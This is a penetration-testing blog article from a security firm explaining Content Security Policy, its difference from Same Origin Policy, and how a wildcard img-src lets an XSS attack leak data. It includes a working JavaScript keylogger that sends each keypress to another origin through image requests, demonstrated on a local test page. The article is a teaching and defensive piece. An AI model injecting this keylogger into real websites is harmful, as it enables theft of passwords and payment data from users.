Skip to main content

Penetration Testing: Bypassing Content Security Policy (CSP)

Firesand: End-to-end Security for your Business

Introduction

This is our fifth article, discussing how to abuse or bypass poorly configured Content Security Policies (CSP). It builds on some of our previous articles.

 


Audience

Who is this article for?

Understanding application layer security threats is important for a wide-range of professions, including:

  • Security Architects and Solution Architects, as they need to understand the potential risks and mitigations to take appropriate design decisions, such as access control.

  • Software Engineers / Developers, because they need to understand how to build their applications in a secure manner and avoid critical mistakes.

  • Security Consultants of various types as they need to understand the risks of what they may be reviewing or consulting on.

  • Penetration Testers who need to understand how to attack these systems!

 


Pre-Reading

As reference for this article, it is worth reading the following articles that we have already published:

What is Content Security Policy (CSP)?

CSP is a security mechanism that allows websites to restrict where content can be pulled from and/or data sent to, including but not limited to: form actions, images, JavaScript, and frames.

CSP vs Same Origin Policy (SOP)

In many practical senses, there is some similarity between CSP and SOP. SOP restricts access to resources of other origins/domains (protecting the confidentiality of other origins), while CSP restricts the loading and execution of content from other origins (protecting the current origin from others).

Whilst Same Origin Policy (SOP) can stop script in one domain d1 accessing content from another domain d2, it does not stop script in d1 from sending requests or information to d2 - thus allowing the exfiltration of information, perhaps through the use of the XmlHttpRequest class in JavaScript. CSP can be used to stop the request being sent from d1 to d2 at all, thus denying the ability to exfiltrate data.

What Does CSP Look Like?

CSP can be defined either as an HTTP header, and it would be set as a response header from the web server:

HTTP Header example:

content-security-policy: default-src 'self';

HTML example:

<meta http-equiv="Content-Security-Policy" content="default-src 'self';" />

This restrictive CSP requires that content is loaded only from the same origin. Initially, we will examine the basic behaviour and impact of CSP using this policy.

CSP In Action

Consider the following HTML and JavaScript code:

<html>
	<head>
		<meta http-equiv="Content-Security-Policy" content="default-src 'self';" />
	</head>
	<body>
		<h1>CSP Test Page - self-only</h1>
	</body>
</html>

Host this HTML content using a simple Python web server, e.g. by running the following command in Kali Linux:

python3 -m http.server 9000

Open the webpage at:

http://localhost:9000/csp-self-example.html

This successfully renders the somewhat bland page, and we can see the HTTP GET request hitting the Python web server:

Launch the development tools within the browser and execute the following JavaScript:

const body = document.getElementsByTagName("body")[0];
const img = document.createElement("img");

img.src = "http://127.0.0.1:9000/fslogo.png";
body.appendChild(img);

The web page has loaded from the origin 'localhost:9000', while the JavaScript tries to load a resource from '127.0.0.1:9000'. This causes a CSP error, and no additional requests reach the web server, unlike SOP restrictions, as demonstrated in the following screenshot:

However, if the JavaScript is altered to pull the resource from the same origin as the page:

const body = document.getElementsByTagName("body")[0];
const img = document.createElement("img");

img.src = "http://localhost:9000/fslogo.png";
body.appendChild(img);

This successfully loads the image. The CSP policy allows the request to go from the browser to the server, obtaining the image, as shown in the following screenshot:

A note on origin, it is important to understand that an 'origin' is a triple that is the combination of (1) protocol (e.g. HTTPS or HTTP), (2) domain (e.g. www.firesand.co.uk), and (3) port (e.g. 80/443, or in these examples 9000!).

Other Sources

So far, we have only looked at default-src, which specifies the allowed sources of content when no other source has been specified for a given content type, e.g., for stylesheets or JavaScript. There are a wide range of sources that can be configured. A few examples include:

  • img-src
  • font-src
  • style-src
  • and many more

In addition, less obvious options exist such as:

  • form-action, which specifies where form responses can be sent.

With these directives, we can create more sophisticated policies, such as the following example.:

default-src 'self'; img-src 'https://img.firesand.co.uk/';

Such a policy would allow images to come exclusively from https://img.firesand.co.uk, whilst the source for all other content would come from the origin, e.g., https://www.firesand.co.uk/ if the HTTP response had been served from that origin.

The 'none' Value

Another useful value when creating a restrictive CSP is the 'none' value. This can be used for two primary purposes:

  1. With default-src to ensure that there is no default source, meaning all sources for all permitted types of content/resources must be explicitly defined.
  2. With other CSP properties to explicitly deny them.

For example:

Content-Security-Policy: 
  default-src 'none'; 
  script-src 'https://script.firesand.co.uk/'; 
  style-src 'self'; 
  img-src 'https://img.firesand.co.uk/'; 
  connect-src 'self'; 
  font-src 'self'; 
  form-action 'self'; 
  base-uri 'self'; 
  block-all-mixed-content;

Due to the value of default-src, any property that is unspecified is treated as 'none' as well. For example, the above policy would block the associated site from being framed at all because both frame-src and frame-ancestors will default to 'none', as neither are defined.

This CSP above introduces a few new properties:

  1. connect-src, which controls where connections such as WebSockets can connect to.
  2. base-uri, which controls the setting of the document's base property (thus affecting all relative URLs).
  3. block-all-mixed-content, which prevents mixed HTTP and HTTPS content.

 

Advanced Features

There are additional advanced features that can improve the security provided by a CSP, such as nonces and hashes.

Browser Compatibility

It should be noted that not all browsers support all the same CSP directives, support depends on browser and browser version.

Surely this is a Good Thing? What is the Problem?

Ok, so now we have a basic understanding of what CSP can do - thus far it appears to only be a good thing, and essentially that is the case - CSP is an excellent control. It restricts sources, thus thwarting various attacks. A CSP policy can protect a web application against many attacks including XSS attacks. It provides this protection, not by stopping the XSS attack itself, but rather by preventing an XSS attack from performing the functions it is likely to attempt. Many XSS attacks will try and pull in external resources (perhaps more malicious scripts), and/or exfiltrate data from origins other than the target site. Thus, by having a CSP policy that restricts all access to resources outside of the origin, even if the web application at that origin has an XSS vulnerability, any such attack will be rendered moot.

However, there are problems:

  1. Many people do not understand it, thus when issues around (typically missing) CSP are raised, these are not seen as important, deprioritised and some times ignored entirely,
  2. It can easily be misconfigured, negating own purpose, and
  3. It is occasionally it is not practical to configure in a sufficiently restrictive manner, but its presence reassures teams/organisations etc that their systems are secured - when in reality they are not secured sufficiently enough.

Wild Cards!

A really common way to cause problems with a CSP is to use wild cards, this may - or may not - be done with a full understanding of the implications. There are times where developers do not really understand what CSP does nor why, and will use a wild card to make life easier, there are other times where the functionality of a web application requires a wild card.

In the latter scenario, consider a website that needs to allow users to upload images from arbitrary locations, this necessitates the use of a wild card. An immediate problem with this is, that it can be enable an XSS attack to exfiltrate data.

This can be demonstrated by taking the restrictive policy above, modifying it for the earlier examples running in Kali, and including a single wild card - for image tags. Despite the fact that this is a broadly highly restrictive policy, it will still be possible to exfiltrate data with a successful XSS attack.

Here is the CSP:

Content-Security-Policy: 
  default-src 'none'; 
  script-src 'http://localhost:9000/'; 
  style-src 'self'; 
  img-src *; 
  connect-src 'self'; 
  font-src 'self'; 
  form-action 'self'; 
  base-uri 'self'; 
  block-all-mixed-content;

The following is a sample HTML page including the CSP:

<html>
	<head>
		<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'http://localhost:9000/';style-src 'self';img-src *;connect-src 'self';font-src 'self';form-action 'self';base-uri 'self';block-all-mixed-content;" />
	</head>
	<body>
		<h1>CSP Test Page - Restricted with IMG Wild Card</h1>
		<form>
			<input type="textbox" />
		</form>
	</body>
</html>

If an attacker is able to inject the following JavaScript, which is a simple keylogger, it will exfiltrate any key presses made by the user (e.g. username/password on a login screen, or potentially other sensitive information such as credit card data) to an origin other than the origin from which the page was served:

const body = document.getElementsByTagName('body')[0];

body.onkeydown = function(e) { 
  var ev = e || event;
  var keyCode = ev.code;
  var img = document.createElement("img");  
  img.src = "http://127.0.0.1:9000/?key="+keyCode;  
  img.style = "width:1px;height:1px;x-1000px;y-1000;";
  body.appendChild(img);
}

 The following screenshot shows the web page which has the CSP defined and the malicious JavaScript loaded into it, with 'Some sensitive' information entered into the simple form (note the origin of HTTP, localhost, port 9000):

The following screenshot shows the attacker's web server, receiving the all the logged key strokes, but for a different origin (HTTP, 127.0.0.1, 9000):

Unfortunately, any use of wild card will lead to this situation, it does not need to be IMG tags, but can be any resource that could be externally loaded. Be it style sheets, fonts, media files, objects, even embedding iFrames from a different origin.

Essentially, any wildcard will enable an XSS attack to exfiltrate data.

Other Attacks

There are other issues, lets say the CSP does not specify any wildcards, however, it allows access to an external API for Web Sockets or similar - if that API can be tricked into making calls to arbitrary origins. Lack of CSP and wildcards are not the only issues here, but are the most common that Firesand comes across.

How to Defend

One key step is to understand what CSP is, how it differs from and complements other controls. Vitally though, it is imperative to both actually make use of CSP and to never use the wild card unless absolutely necessary. Beyond that, make sure developers, engineers etc are trained in developing secure code, that code is tested to ensure that it does not contain injection flaws.

Controls such as Web Application Firewalls (WAFs) also complement CSPs here, in that they can detect and block attacks such as XSS, but they are by no means foolproof - they too can be misconfigured and many have well known bypasses (to be discussed in a future article). However, the combination of CSP, WAF, and well-written and tested web applications - written by well-trained developers - is a very secure one!

Conclusion

CSP is a powerful and useful additional toolset for protecting web applications, and forms part of a wider framework of controls. However, limited understanding of it as a control, as well as misconfiguration can leave web applications wide-open to critical security issues, security issues that could result in serious business impact such as data privacy breaches, and fines, or risks to licenses, etc..

Further, when defining a CSP it is important to specify a, non-wild card, value for default-src of either 'self' or 'none' (with the latter being the most restrictive). Only ever use wild cards where there is no other option - should this be the case, then effort must be put into the detection and prevention of attacks such as XSS.

References

[1] - Mozilla, 'Content Security Policy (CSP)', https://developer.mozilla.org/en-US/docs/Web/HTTP/CSPaccessed on 28th May 2024

Chris Blake

About the author

https://www.linkedin.com/in/chrisblake/

Chris Blake has over 20 years of experience in the information and cyber security field, and is a passionate and qualified Enterprise Security Architect and Privacy Professional who leads and delivers innovative solutions at Firesand Limited, a company he co-founded in 2016. His specialities include application security, enterprise security architecture, and privacy, with a strong track record of building and implementing ISO 27001 compliant and certified information security practices, application security programmes, and enterprise security architectures. He has a thirst for continual learning and a commitment to excellence, as demonstrated by his academic and professional credentials from prestigious institutions such as the University of Oxford, (ISC)², IAPP, SABSA, The Open Group, and ISACA.

Chris holds an MSc in Software and Systems Security at the University of Oxford, and an array of professional certifications: CISSP, ISSAP, CSSLP, CCSP, SSP.NET, SSP.JAVA, CISA, CISM, CIPP/E, CIPM, CIPT, FIP, SCF, TOGAF, CPSA, and CEH.

Chris' experience spans multiple sectors: Retail & eCommerce; Financial Services, Banking, & Payments; i-Gaming; Energy (Oil & Gas); Property Management & PropTech; and Data Science; as well as Defence. 

His areas of interests include: penetration testing; regulation & privacy, including the impact on society; access control in software; security automation in development; application of cryptography; security architecture; risk modelling & analysis; HTTP architecture & web security; IoT Security.

Cookie Notice

We use cookies to ensure that we give you the best experience on our website. Please confirm you are happy to continue.

Back to top